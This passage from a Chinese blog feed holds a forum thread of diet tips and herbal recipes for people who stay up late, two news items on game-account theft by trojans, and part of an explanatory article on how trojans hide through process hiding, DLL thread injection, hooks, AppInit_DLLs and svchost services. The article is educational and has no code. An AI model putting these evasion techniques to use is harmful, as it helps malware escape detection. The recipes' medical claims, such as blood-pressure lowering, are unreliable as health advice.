晚餐对于熬夜的人很重要，可占膳食总热量的30％－50％，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的&nbsp;20％至25％，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15％－20％，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。&nbsp;　&nbsp;<BR>流云之翔<BR>2005-9-1,&nbsp;09:58&nbsp;AM<BR>　　熬夜虚劳药膳调养&nbsp;<BR><BR>　　随着生活节奏的加快，越来越多的人加入了熬夜的行列。不过，如何保证熬夜的质量，又减少对身体健康的影响呢？&nbsp;<BR>　　<BR>　　在熬夜时，喝许多浓茶或咖啡来刺激神经的兴奋是不可取的。因为咖啡因只能使人精神一时，而过后则会使人体大脑处于抑制状态，产生昏昏欲睡的感觉。&nbsp;<BR>　　<BR>　　中医认为，经常熬夜的人容易导致阴亏阳亢而产生阴虚内热的症状，不妨使用药膳适当进行调养，使精力充沛。&nbsp;<BR>　　<BR>　　生地炖鸭蛋：每次用生地20克、鸭蛋1至2个，加水适量隔水炖之，蛋熟后去壳，再放入汁中炖20分钟，冰糖调味，食蛋饮汁，每日1次或每周2至3次。有滋阴清热、生津止渴等功效，适用于熬夜后口燥咽干、牙龈肿痛者食用。&nbsp;<BR>　　<BR>　　猪腰炖杜仲：每次用杜仲25克、猪腰子1个，水适量隔水炖1小时，每日或隔2至3日服食1次，有滋补肝肾，强壮筋骨之功效，适用于熬夜后腰酸背痛、四肢乏力者服用。&nbsp;<BR>　　<BR>　　莲子百合煲瘦肉：每次用莲子(去芯)20克、百合20克、猪瘦肉100克，加水适量同煲，肉熟烂后加盐调味食用，每日1次。有清心润肺、益气安神之功效，适宜于熬夜后干咳、失眠、心烦、心悸等症者食用。&nbsp;<BR>　　<BR>　　粉葛生鱼汤：每次用粉葛250克洗净切成小块，生鱼一条去腮及内脏，加水适量共煲，鱼熟后放入姜丝、油盐调味，食鱼饮汤，每月或隔日1次。有舒筋活络、益气和血、解肌痛等功效，适用于劳力过度熬夜后的肌内酸痛、颈肌胀痛者服用。&nbsp;<BR>　　<BR>　　夏枯草煲瘦肉：每次用夏枯草10克、猪瘦肉50至100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汁，每日1次。有清肝火，降血压之功效，适用于患有高血压病人熬夜后头晕头痛及眼红者服用。&nbsp;<BR>-----------------------------------------------------------------------------------------------------------------------------<BR>　　熬夜与饮食&nbsp;<BR><BR>　　随着现代经济的发展，生活节奏的加快，越来越多的人加入了熬夜的行列。如何保证熬夜的质量，又减少对身体健康的影响，在饮食的调养上值得注意。&nbsp;<BR>　　<BR>　　在熬夜时，假如想要夜间不会被累坏的话，必须使你的交感神经功能如同白天一样活跃才行。妨碍交感神经功能兴奋的是热能来源的米饭和面食。因此，在晚餐时，请不要吃米饭和面食，只吃鱼、肉类、蔬菜等副食即可。至于米饭或面食则隔1天早晨才吃。不过，这一种晚餐在经过3小时后就会开始饥饿。因此，饥饿的时候就要喝牛奶，或者是吃鸡蛋、水果。只要这样做，你就能够维持自己旺盛的精力。值得提醒的是，在熬夜时，喝许多浓茶或咖啡来刺激神经的兴奋是不可取的。因为咖啡因只能使神经一时兴奋，而过后则会使人体大脑处于抑制状态，产生昏昏欲睡的感觉。&nbsp;<BR>　　<BR>　　中医认为，经常熬夜的人容易导致阴亏阳亢而产生阴虚内热的症状，不妨使用药膳适当进行调养，使精力充沛。&nbsp;<BR>　　<BR>　　①、生地炖鸭蛋：每次用生地20克、鸭蛋l？2个，加水适量隔水炖之，蛋熟后去壳，再放入汁中炖20分钟，冰糖调味，食蛋饮汁，每日1次或每周2？3次。有滋阴清热、生津止渴等功效。适用于熬夜后口燥咽干、牙龈肿痛。手足心热者食用。&nbsp;<BR>　　<BR>　　②、猪腰炖杜仲：每次用杜仲25克，猪腰子1个，水适量，隔水炖1小时，每日或隔2？3日服食1次，有滋补肝肾、强壮筋骨之功效。适用于熬夜后腰酸背痛、四肢乏力者服用。&nbsp;<BR>　　<BR>　　③、莲子百合煲瘦肉：每次用莲子（去芯）20克，百合20克，猪瘦肉100克，加水适量同煲，肉熟烂后盐调味食用，每日1次。有清心润肺、益气安神之功效。适宜于熬夜后干咳。失眠、心烦、心悸等症者食用。&nbsp;<BR>　　<BR>　　④、粉葛生鱼汤：每次用粉葛250克洗净切成小块，生鱼1条，去腮及内脏，加水适量共煲，鱼熟后放入姜丝、油盐调味，食鱼饮汤，每日或隔日1次。有舒筋活络、益气和血、解肌痛等功效。适用于劳力过度熬夜后的肌肉酸痛、颈肌胀痛者服用。&nbsp;<BR>　　<BR>　　⑤、夏枯草煲瘦肉：每次用夏枯草10克，猪瘦肉50-100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汁，每日1次。有清肝火、降血压之功效。适用于患有高血压病熬夜后头晕、头痛及眼红者服用。&nbsp;<BR>　　<BR>==========================================&nbsp;<BR>　　<BR>　　合理饮食帮你熬夜&nbsp;<BR><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。&nbsp;<BR>　　<BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。&nbsp;<BR>　　<BR>　　所以经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。&nbsp;<BR>　　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。&nbsp;<BR>　　<BR>　　晚餐对于熬夜的人很重要，可占膳食总热量的30%～50%，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的&nbsp;20%～25%，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15%～20%，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。&nbsp;<BR>　　<BR>==========================================&nbsp;<BR>　　<BR>　　熬夜如何营养饮食<BR><BR>　　现代人由于工作或职业的原因，都有过昼夜颠倒的时候。昼夜节律颠倒对人体的生理功能和代谢都会产生一定的负面影响。　&nbsp;<BR>　　<BR>　　在正常情况下，人体在白天与夜间的生理节律有明显的不同。白天主要以交感神经活动和物质代谢的分解过程为主，而夜间则以副交感神经活动和物质代谢的合成过程为主。生物化学的观察结果也证明，不同酶的活性和内分泌激素的代谢在昼夜间也有很大的差别。　&nbsp;<BR>　　<BR>　　所以经常夜里工作的人，除了创造良好的工作条件和保证足够充分的睡眠之外，还应科学地安排好自己的一日三餐。&nbsp;<BR>　　<BR>　　在一日三餐的安排上，首先应保证有足够的热能摄入。比如，为增进食欲，可在食品的烹调制作上力求做到食物品种多样化，色、香、味俱全，美味可口；为使一天的热能分配合理并防止过饥过饱的情况，就需要合理安排就餐时间和每餐膳食热量应占全天膳食总热量的百分比。&nbsp;<BR>　　<BR>　　晚餐对于熬夜的人很重要，可占膳食总热量的30%～50%，可食用些高蛋白食物，进餐时间安排在劳动前一两小时为宜；中餐热量一般可占膳食总热量的&nbsp;20%～25%，进餐时间可安排在午后3时前后；早餐热量一般可占膳食总热量的15%～20%，并且应该以容易消化吸收的碳水化合物为主。在保证足够热能摄入的基础上，还应注意保证有足够的优质蛋白质、无机盐和维生素的摄入。所以适当摄入乳、蛋、鱼、瘦肉、猪肝、大豆及其制品，多吃蔬菜、水果，少吃纯糖和含脂肪高的食物，并应控制食盐的摄入量。　　&nbsp;<BR>流云之翔<BR>2005-9-1,&nbsp;10:00&nbsp;AM<BR>　　熬夜的人怎么吃?&nbsp;<BR><BR>　　熬夜的人，最先想到的就是喝咖啡或喝茶提神，营养师表示，咖啡因的确会让人精神振奋。&nbsp;<BR>　　<BR>　　　&nbsp;不过，美国圣路加医院（St.Luke's&nbsp;Hospital）睡眠医药研究中心的实验发现，咖啡因对提升工作效率不见得有效，即使有用，也仅能维持短时间。&nbsp;<BR>　　<BR>　　　　咖啡因虽然提神，相对地会消耗体内与神经、肌肉协调有关的维生素B群，缺乏维生素B群的人本来就比较容易累，更可能形成恶性循环，养成酗茶、酗咖啡的习惯，需要量愈来愈多，效果却愈来愈差。因此，必须熬夜时，多补充些维生素B群，反而比较有效。&nbsp;<BR>　　<BR>　　　　熬夜时，有人认为吃甜食可以补充热量，其实甜食也是熬夜大忌。晚餐后或熬夜时，不要吃太多甜食，高糖虽有高热量，虽在一定程度上让人兴奋，却会消耗维生素B群，导致反效果，也容易引来肥胖问题。&nbsp;<BR>　　<BR>　　　　整体说来，熬夜的预防保健仍取决于日常饮食，必须均衡摄取6大类食物。但为了熬夜，晚餐时多吃富含维生素B群的食物，绝对有必要！维生素B群成员颇多，包括叶酸、烟硷酸、维生素B6、维生素B12等，它们不仅参与新陈代谢，提供能量，保护神经细胞，对安定神经、舒缓焦虑也有助益。&nbsp;<BR>　　<BR>　　　　深绿色叶菜类及豆类植物，都含丰富叶酸盐，有助于细胞修补，预防感染和贫血；肝脏、鱼、全谷类、大豆食品、蔬果中有维生素B6或烟硷酸，可以维持皮肤健康、减缓老化；至于与记忆力、注意力有关的维生素B12，在红肉、牛奶、乳酪中都吃得到<BR><BR>==========================================<BR><BR>　　经常熬夜多吃胡萝卜&nbsp;<BR>　　<BR>　　熬夜的人多半是做文字工作或经常操作电脑的人，在灯光下坐久了容易使眼肌疲劳、视力下降。营养专家指出，维生素A及维生素B对预防视力减弱有效，维生素&nbsp;A可调节视网膜感光物质的合成，能提高熬夜者对昏暗光线的适应力，防止视觉疲劳。所以要多吃胡萝卜、韭菜、鳗鱼等富含维生素A的食物，和富含维生素B的瘦肉、鱼肉、猪肝等动物性食品。另外，花生米、杏仁、腰果&nbsp;<BR>　　、胡桃等干果类食品，富含维生素B、维生素E、钙和铁等矿物质，有利于恢复体能，可适当多吃<BR><BR>==========================================<BR><BR>　　熬夜人士护胃有法<BR>　　<BR>　　经常熬夜的人，中医称之为阴虚火旺之人，此类人也常有肠胃毛病，可通过食疗改善，达到护胃目的。<BR>　　<BR>　　熬夜族——今夜无人入眠<BR>　　<BR>　　编辑插语：“除了觉得脑袋糊成一团以外，其它感觉反而特别的清澈。看事物好似什么都隔着一层距离，连空气微粒都很清楚映在视网膜上；声音比平时清晰许多，那些仿佛录音不佳而来的杂音都一一分离，鸟叫虫鸣还有车子引擎声都各自定位……”相信你也曾有过这样的熬夜后体验。请看精彩专题--熬夜进行时……<BR>　　<BR>　　●食疗方一：生地瘦肉汤<BR>　　<BR>　　材料：生地15g、瘦肉250g<BR>　　制法：煲汤饮用<BR>　　适用：2-3人量<BR>　　<BR>　　●食疗方二：鲜百合银耳糖水<BR>　　<BR>　　材料：鲜百合30g、银耳30g、雪梨1个、燕窝10-30g、冰糖适量。<BR>　　制法：放冰糖与其他材料炖糖水<BR>　　适用：2-3人量，有养阴凉血之健胃作用<BR>　　<BR>　　编辑推荐：经常熬夜的人容易有阴虚内热的症状，若能注意夜宵进行饮食调养，有利于保持精力充沛。熬夜者的健康绿灯……<BR>　　<BR>　　●食疗方三：玉竹汤<BR>　　<BR>　　材料：玉竹30g、瘦肉半斤<BR>　　制法：材料共煲汤<BR>　　适用：2-3人量，适合大便燥热便秘者。<BR>　　<BR>　　●食疗方四：土茯苓芡实汤<BR>　　<BR>　　材料：土茯苓30g、芡实30g<BR>　　制法：煲汤饮用<BR>　　适用：2-3人量，适合大便湿热、便溏者，可清热，令大便恢复正常。<BR>　　<BR>==========================================<BR><BR>　　熬夜者的药膳调理&nbsp;<BR><BR>　　&nbsp;　　经常熬夜的人容易产生阴虚内热的症状，如能注意夜宵进行饮食调养，有利于保持精力充沛。现介绍如下：<BR>　　<BR>　　（1）猪腰炖杜仲：杜仲25克、猪腰子1个（去筋膜），水适量。隔水炖1小时。每日或隔日服食1次。具有滋补肝肾、强筋壮骨之功效。适用于熬夜后腰酸背痛、四肢乏力者服用。<BR>　　<BR>　　（2）莲子百合煲瘦肉：莲子（去芯）20克、百合20克、猪瘦肉100克。加水适量同煲，肉熟烂后用盐调味食用。每日1次。具有清心润肺、益气安神之功效。适宜于熬夜后干咳、失眠、心烦、心悸等症者食用。<BR>　　<BR>　　（3）生地炖鸭蛋：生地20克、鸭蛋1－2个，加水适量隔水炖之。蛋熟后去壳，再放入汁中炖20分钟。加冰糖适量调味，食蛋饮汁。每日1次或每周2－3次。具有滋阴清热、生津止渴等功效。适宜于熬夜后口燥咽干、牙龈肿痛、手足心热者食用。<BR>　　<BR>　　（4）粉葛生鱼汤：粉葛（用葛根制成的粉皮）250克，洗净切块，生鱼（乌鱼）1条，加水适量共煲。鱼熟后放入生姜丝、油、盐调味，食鱼饮汤。每日或隔日1次，有舒筋活络、益气和血、解除肌痛等功效。适用于熬夜后肌肉酸痛、颈部胀痛者服用。<BR>　　<BR>　　（5）夏枯草煲瘦肉：夏枯草10克、猪瘦肉50－100克，水适量共煲，肉熟后加盐少许调味，吃肉喝汤。每日1次。具有清肝火、降血压的功效。适宜于熬夜后血压升高、头晕、头痛及眼红者服用。</P>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:18:00</pubDate>
</item>
<item>
<title><![CDATA[黑客利用木马窃走22亿游戏金币]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624231711.shtml</link>
<description><![CDATA[<P id=fp>作者：黄学民&nbsp;孟薇&nbsp;|&nbsp;出处：新快报&nbsp;|&nbsp;发布时间：2006-12-12&nbsp;|&nbsp;阅读&nbsp;201&nbsp;次&nbsp;<BR>　　新快报深圳讯　(记者　黄学民　通讯员　孟薇)&nbsp;身为电脑高手的犯罪嫌疑人代某某，利用互联网系统漏洞，成功窃取某游戏中心的“金币”22亿个，非法获利14万余元，日前被深圳福田区检察院批准逮捕。&nbsp;<BR><BR>　　2006年9月初，犯罪嫌疑人代某某在互联网上发现中国游戏中心系统(简称中游)有漏洞，遂将一个“木马”程序置于中游目录内，并将该“木马”程序隐藏起来。&nbsp;<BR><BR>　　9月中旬，代某某利用放入的“木马”程序进入中游内部系统，获取了七百多名游戏玩家的账号和密码，并试出可使用中游系统中的在线转账功能，将盗来的账号内的“金币”(中游积分)转到其指定的游戏账号内。&nbsp;<BR><BR>　　随后代某某伙同另两名网友张某某与黄某某密谋，并让二人帮其在网络中销售这些盗来的“金币”，所获利润五五分成。张、黄二人按代某某提供的账号和密码登录中游，将七百多个玩家账号内的22亿多个“金币”转移到预先准备好的游戏账户内，并在“淘宝网”等网站以100万“金币”兑换人民币60至70元的低价套现，共牟利人民币14万余元。日前，深圳福田区人民检察院以涉嫌破坏计算机信息系统罪，依法批准逮捕代某某、张某某、黄某某。</P>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:17:00</pubDate>
</item>
<item>
<title><![CDATA[上海成立"反盗号绿色联盟" 首批试点单位为"魔界"等]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624231614.shtml</link>
<description><![CDATA[<P id=fp>上海成立"反盗号绿色联盟"&nbsp;首批试点单位为"魔界"等<BR><BR><BR>传播木马病毒，继而偷盗玩家账号及装备，从中非法获利。随着网络游戏行业“盗号”现象日趋严重，本周，由上海市信息服务业行业协会发起，首个“反盗号绿色联盟”正式启动。<BR>　　<BR>　　根据艾瑞市场咨询发布的2006年中国网络游戏市场分析报告表明，2006年网络游戏用户数达到3112万，网游虚拟物品交易规模在24亿元以上。<BR>　　<BR>　　据网络游戏专委会顾问律师周宾卿介绍，感染木马最主要的途径就是使用外挂程序。记者从上海市信息服务业行业协会获悉，我国目前尚未正式出台相关法律法规严格保护虚拟财产的丢失，因此无法严惩盗号等非法行为。<BR>　　<BR>　　如何才能反盗号呢？周宾卿律师指出，“堵源截流”是重要环节。盗号者通过在玩家电脑中种植木马窃取账号密码，如采用动态密码，即使被盗也是一个过期的无效密码。此外第三方交易平台与运营商相链接，一旦玩家发现物品被盗但还未出售，可通过平台&nbsp;<BR>进入数据库进行冻结。网络游戏专委会还提出，虚拟世界最好也有“实名制”。<BR>　　<BR>　　“反盗号绿色联盟”是打破运营商、交易平台、技术服务提供商和支付服务商“孤岛型”的反盗号局面，首次尝试跨平台合作，首批试点单位为“魔界”的运营公司金酷游戏，动态密码技术开发及服务商中磐科技，第三方交易平台5173和支付服务商财付通等。<BR>　　<BR>　　记者在演示现场看到,玩家在第三方交易平台5173交易，玩家登录账户除原有密码外还需要输入移动密码。如出售“魔界”某道具，只需将该道具放入暂存区域，确认数量和价格后即可提交交易信息，通过财付通收取钱款。在此过程中，如后台检测出该道具是盗号所得，系统将立刻冻结该用户在魔界、5173和财付通上的所有账户、截留资金，配合游戏运营公司找寻被盗者。</P>]]></description>
<author>hhack</author>
<pubDate>2008-6-24 23:16:00</pubDate>
</item>
<item>
<title><![CDATA[挑战安全的捉迷藏--病毒和木马的隐藏手段]]></title>
<link>http://hacker.hblog.net/archives/2008/2008624231525.shtml</link>
<description><![CDATA[一.&nbsp;无处可寻的病毒<BR>大学生张云毕业后在一家公司担任计算机维护员的工作，这天主任把他找去维修一台出现异常的计算机，这台计算机上什么程序都未运行，可是机内安装的卡巴斯基杀毒软件却在不停的提示在系统目录发现特洛伊木马程序，而后自动进行查杀，可是刚查杀完毕就又跳出了同样的提示，一旦断开网络连接，这个现象立刻终止，再连接网络，立即再次提示发现特洛伊木马程序……如此反复循环，最终导致任何正常工作都无法进行。由于机器上储存有大量重要资料和数据库，如果要重装系统，后面的环境恢复工作必将十分庞大，主任通过杀毒软将无法解决，只好把所有希望都寄托在这名小伙子身上了。<BR>张云信心十足的坐下来，凭着他往日积累的手工检测和查杀病毒的经验，很快就清理了一堆恶意程序和流氓软件，在经过几次慎重检查所有涉及的启动项都没有异常程序后，张云再次把网络给连接上了，正欲离开办公室，身后卡巴斯基发现病毒的嘶叫声猛的吓了他一跳，怎么还有病毒？张云茫然不知所措了……<BR><BR>二.&nbsp;永无休止的躲藏<BR>隐藏是病毒的天性，在业界对病毒的定义里，“隐蔽性”就是病毒的一个最基本特征，任何病毒都希望在被感染的计算机中隐藏起来不被发现，因为病毒都只有在不被发现的情况下，才能实施其破坏行为。为了达到这个目的，许多病毒使用了各种不同的技术来躲避反病毒软件的检验，这样就产生了各种各样令普通用户头痛的病毒隐藏形式。由于木马后门的行为特征已具备病毒条件，因此本文将木马后门也统一归纳为病毒来描述。<BR><BR>开山鼻祖：隐藏窗口&nbsp;&amp;&nbsp;隐藏进程&nbsp;&amp;&nbsp;隐藏文件<BR>在计算机流行的早期，计算机病毒和木马后门等危害程序在普通用户范围的普及并不是很广泛，这个时期的用户群对计算机和网络安全的防范意识可以说是几乎没有的，普通用户的系统也多为脆弱的Windows&nbsp;95/98系列和电话线拨号的慢速网络，而那一段时间正是外国木马“BO”和国产木马雏形“冰河”、“NetSpy”等在如今看来各方面技术都颇为简单的远程控制软件大行其道的黄金时期，很多用户根本就没有防火墙和杀毒软件（即使有，也是以杀CIH的为主），即使远方的黑客把用户的计算机翻了个底朝天，用户也不会有所察觉，这一时期接触此类技术的人相对较少，因此并未造成如今这个病毒到处蔓延的局面。<BR>因为这个阶段国内用户的机器环境仍然以Windows&nbsp;9x为主流，所以病毒编写者们并不需要消耗太多的脑筋就可以做到让病毒悄无声息运行的效果，并让它在Alt+Del+Ctrl呼出的任务管理器中不可见。<BR>我们都知道，在Windows下运行的程序界面都被定义为“窗口”，程序通过这个途径与用户产生交互，每个完整的程序都必须拥有至少一个窗口，但是如果编写者将这个窗口在运行期间设置为“不可见”呢？这样一来，用户就不会察觉到这个程序在桌面上运行了，但是如果有一定经验的用户打开任务管理器，他就会因为发现系统里多出来的进程而产生怀疑，因此病毒编写者在这个时期采取了初级形式的隐藏手段：隐藏进程。<BR>其实所谓隐藏进程，是利用微软未公开的一个API（Application&nbsp;Programming&nbsp;Interface，应用程序接口）函数“RegisterServiceProcess”将自身注册为“服务进程”，而恰巧Windows&nbsp;9x中的任务管理器是不会显示此类进程的，结果就被病毒钻了空子，让“冰河”等木马在国内大部分普通用户的机器上安家落户。<BR>而早期后门技术里，还有一个最基本的行为就是隐藏文件，与今天的各种隐藏手段相比，它可谓是“不入流”级别了——这里提到的“隐藏”，就是简单的将文件属性设置为“隐藏”而已，除此之外，再无别的保护手段了，然而，由于系统设计时为了避免初学者胡乱删除文件而默认“不显示系统和隐藏文件”的做法（到了Windows&nbsp;2000/XP时代，这个做法更升级到“隐藏受保护的系统文件”了），却恰好给这些病毒提供了天然的隐身场所——大部分对电脑操作不熟悉的用户根本不知道“隐藏文件”的含义，更别提设置为“显示所有文件”了，在那个安全软件厂商刚开始探索市场的时代，用户更是不会留意太多安全产品及其实际含义，因而这个时期成了各种初期木马技术发展的重要阶段，利用这种手段制作的木马被统称为“第一代木马”。<BR><BR>&nbsp;以现在的技术和眼光看来，这些早期技术作品的发现和清理是相对较简单的了，因为它们采用的“进程隐藏”技术在NT体系上的Windows2000/XP/2003等操作系统上已经无效了，直接使用系统自带的任务管理器便能发现和迅速终止进程运行，而后在“控制面板”——“文件夹选项”里面设置“显示所有文件”和取消“隐藏受保护的系统文件”，就能发现那个被隐藏起来的木马程序了。对于Windows&nbsp;9x用户，使用任意一款第三方的进程管理工具如“Windows优化大师”的进程管理组件即可轻松发现。<BR><BR>继续发展：使用线程注射技术的DLL木马<BR>虽然现在使用“线程注射”的木马病毒和流氓软件已经遍地开花了，但是从那个混沌时代经历过来的人都不会忘记首个采用“线程注射”的DLL木马“广外幽灵”在当时所带来的恐惧，“线程注射”到底是种什么东西呢？下面就让我们来详细讲解一下。<BR>首先，用户可能不会了解“线程”（Thread）的意思，而要讲解“线程”，就不能不先提到“进程”（Process）的概念。许多刚接触计算机的用户无法理解“进程”是什么东西：常常听到高手说打开任务管理器关闭某某进程，但是一看到任务管理器列表里的一堆东西，头就大了。许多用户知道使用任务管理器关闭一些失去响应的任务，但是如果某个任务没有在“应用程序”列表里出现，用户就不知所措了。到底什么是“进程”呢？“进程”是指一个可执行文件在运行期间请求系统在内存里开辟给它的数据信息块，系统通过控制这个数据块为运行中的程序提供数据交换和决定程序生存期限，任何程序都必须拥有至少一个进程，否则它不被系统承认。进程从某一方面而言就是可执行文件把自身从存储介质复制在内存中的映像，它通常和某个在磁盘上的文件保持着对应关系，一个完整的进程信息包括很多方面的数据，我们使用进程查看工具看到的“应用程序”选项卡包含的是进程的标题，而“进程”选项卡包含的是进程文件名、进程标识符、占用内存等，其中“进程文件名”和“进程标识符”是必须掌握的关键，“进程标识符”是系统分配给进程内存空间时指定的唯一数字，进程从载入内存到结束运行的期间里这个数字都是保持不变的，而“进程文件名”则是对应着的介质存储文件名称，根据“进程文件名”我们就可以找到最初的可执行文件位置。<BR>任务管理器的“应用程序”项里列出来的“任务”，是指进程在桌面上显示出来的窗口对象，例如用户打开Word&nbsp;2003撰写文档，它的进程“WINWORD.EXE”会创建一个在桌面上显示的前台窗口，这个窗口就是任务管理器里看得见的“任务”了，而实际上真正在运行的是进程“WINWORD.EXE”。并不是所有的进程都会在任务管理器里留下“任务”的，像QQ、MSN和所有后台程序，它们并不会在任务列表里出现，但是你会在进程列表里找到它们，如果要它们在任务列表里出现该怎么办呢？只要让它们产生一个在桌面上出现的窗体就可以了，随便打开一个好友聊天，就会发现任务列表里终于出现了QQ的任务。因此，真正科学的终止程序执行方案是针对“进程”来结束程序的运行，而不是在任务列表里关闭程序，因为木马作者们是不会让自己的木马在任务列表里出现的，但是进程列表里一般人都是逃不过的。<BR>而“线程”，则是在一个进程里产生的多个执行进度实例，举个简单例子，一个网络文件传输程序如果只有一个线程（单线程）运作，那么它的执行效率会非常低下，因为它既需要从网络上读取文件数据，又需要把文件保存到磁盘，同时还需要绘制当前传输进度条，由于在代码的角度里这些操作只能一条条的顺序执行，程序就不能很好的做到在保存数据的同时绘制传输进度条，即使程序员将其勉强凑到一块执行，在用户方面看来，这个程序的响应会非常缓慢甚至直接崩溃，而“多线程”技术则是为了解决这种问题而产生的，采用“多线程”技术编写的应用程序在运行时可以产生多个同时执行的操作实例，例如一个采用“多线程”技术的网络文件传输程序就能同时分出三个进度来同时执行网络数据传输、文件保存操作和绘制传输进度条的操作，于是在用户看来，这个程序运行非常流畅，这就是线程的作用。在程序运行时，只能产生一个进程，但是在这个进程的内存空间（系统为程序能正常执行而开辟的独立内存领域）里，可以产生多个线程，其中至少有一个默认的线程，被称为“主线程”，它是程序主要代码的运行部分。<BR>那么，“线程注射”又是什么含义呢？其实它的全称是“远程线程注射”（RemoteThread&nbsp;Injection），通常情况下，各个进程的内存空间是不可以相互访问的，这也是为程序能够稳定运行打下基础，这个访问限制让所有进程之间互相独立，这样一来，任何一个非系统关键进程发生崩溃时都不会影响到其他内存空间里的进程执行，从而使NT架构的稳定性远远高于Win9x架构。但是在一些特定的场合里，必须让进程之间可以互相访问和管理，这就是“远程线程”技术的初衷，这个技术实现了进程之间的跨内存空间访问，其核心是产生一个特殊的线程，这个线程能够将一段执行代码连接到另一个进程所处的内存空间里，作为另一个进程的其中一个非核心线程来运行，从而达到交换数据的目的，这个连接的过程被称为“注射”（Injection）。远程线程技术好比一棵寄生在大树上的蔓藤，一旦目标进程被注射，这段新生的线程就成为目标进程的一部分代码了，只要目标进程不被终止，原进程无论是否还在运行都不会再影响到执行结果了。<BR>与“线程注射”离不开的是“Hook”技术，这个“Hook”，又是什么呢？其官方定义如下：<BR>钩子（Hook），是Windows消息处理机制的一个平台，应用程序可以在上面设置子程以监视指定窗口的某种消息，而且所监视的窗口可以是其他进程所创建的。当消息到达后，在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。<BR>钩子实际上是一个处理消息的程序段，通过系统调用，把它挂入系统。每当特定的消息发出，在没有到达目的窗口前，钩子程序就先捕获该消息，亦即钩子函数先得到控制权。这时钩子函数即可以加工处理（改变）该消息，也可以不作处理而继续传递该消息，还可以强制结束消息的传递。<BR><BR>在这里，木马编写者首先把一个实际为木马主体的DLL文件载入内存，然后通过“线程注射”技术将其注入其他进程的内存空间，最后这个DLL里的代码就成为其他进程的一部分来实现了自身的隐藏执行，通过调用“Hook”机制，这个DLL木马便实现了监视用户的输入输出操作，截取有用的资料等操作。这种木马的实际执行体是一个DLL文件，由于Windows系统自身就包含着大量的DLL文件，谁也无法一眼看出哪个DLL文件不是系统自带的，所以这种木马的隐蔽性又提高了一级，而且它的执行方式也更加隐蔽，这是由Windows系统自身特性决定的，Windows自身就是大量使用DLL的系统，许多DLL文件在启动时便被相关的应用程序加载进内存里执行了，可是有谁在进程里直接看到过某个DLL在运行的？因为系统是把DLL视为一种模块性质的执行体来调用的，它内部只包含了一堆以函数形式输出的模块，也就是说每个DLL都需要由一个用到它的某个函数的EXE来加载，当DLL里的函数执行完毕后就会返回一个运行结果给调用它的EXE，然后DLL进程退出内存结束这次执行过程，这就是标准的DLL运行周期，而采用了“线程注射”技术的DLL则不是这样，它们自身虽然也是导出函数，但是它们的代码是具备执行逻辑的，这种模块就像一个普通EXE，只是它不能直接由自身启动，而是需要有一个特殊作用的程序（称为加载者）产生的进程把这个DLL的主体函数载入内存中执行，从而让它成为一个运行中的木马程序。了解Windows的用户都知道，模块是紧紧依赖于进程的，调用了某个模块的进程一旦退出执行，其加载的DLL模块也就被迫终止了，但是在DLL木马里，这个情况是不会因为最早启动的EXE被终止而发生的，因为它使用了“远程线程注射”技术，所以，在用户发现异常时，DLL木马早就不知道被注入哪个正常进程里了，即使用户发现了这个木马DLL，也无法把它终止，因为要关闭它就必须在那么多的系统进程里找到被它注射的进程，并将其终止，对一般用户来说，这是个不可能完成的任务。<BR>自从“广外幽灵”开创了DLL木马时代的先河以来，现在采用线程注射的DLL木马和恶意程序已经随处可见了，除了普遍被采用的另行编写DLL加载器程序躲在启动项里运行加载DLL主体之外，“求职信”还带来了一种比较少见的通过注册表“HKEY_LOCAL_MACHINESoftwareMicrosoftWindows&nbsp;NTCurrentVersionWindowsAppInit_DLLs”项目加载自身DLL的启动方法，而相对于以上几种早期方法，现在更有一种直接利用系统服务启动自身的木马程序，这才是真正的难缠！<BR>“服务”是Windows系统的一大核心部分，在NT架构系统中，服务是指执行指定系统功能的程序、例程或进程，以便支持其他程序，尤其是底层(接近硬件)程序。通过网络提供服务时，服务可以在Active&nbsp;Directory中发布，从而促进了以服务为中心的管理和使用。服务是一种应用程序类型，它在后台运行。服务应用程序通常可以在本地和通过网络为用户提供一些功能，例如客户端/服务器应用程序、Web服务器、数据库服务器以及其他基于服务器的应用程序。&nbsp;“服务”自身也是一种程序，由于使用的领域和作用不同，服务程序也有两种形式：EXE和DLL，采用DLL形式的服务是因为DLL能实现Hook，这是一些服务必需的数据交换行为，而NT架构系统采用一个被称为“svchost.exe”的程序来执行DLL的加载过程，所有服务DLL都统一由这个程序根据特定分组载入内存，然而，如今越来越多病毒作者瞄上了这个系统自带的加载器，因为它永远也不能被查杀。<BR>病毒作者将木马主体写成一个符合微软开发文档规范的服务性质DLL模块文件，然后通过一段安装程序，将木马DLL放入系统目录，并在服务管理器（SCM）里注册自身为通过svchost.exe加载的服务D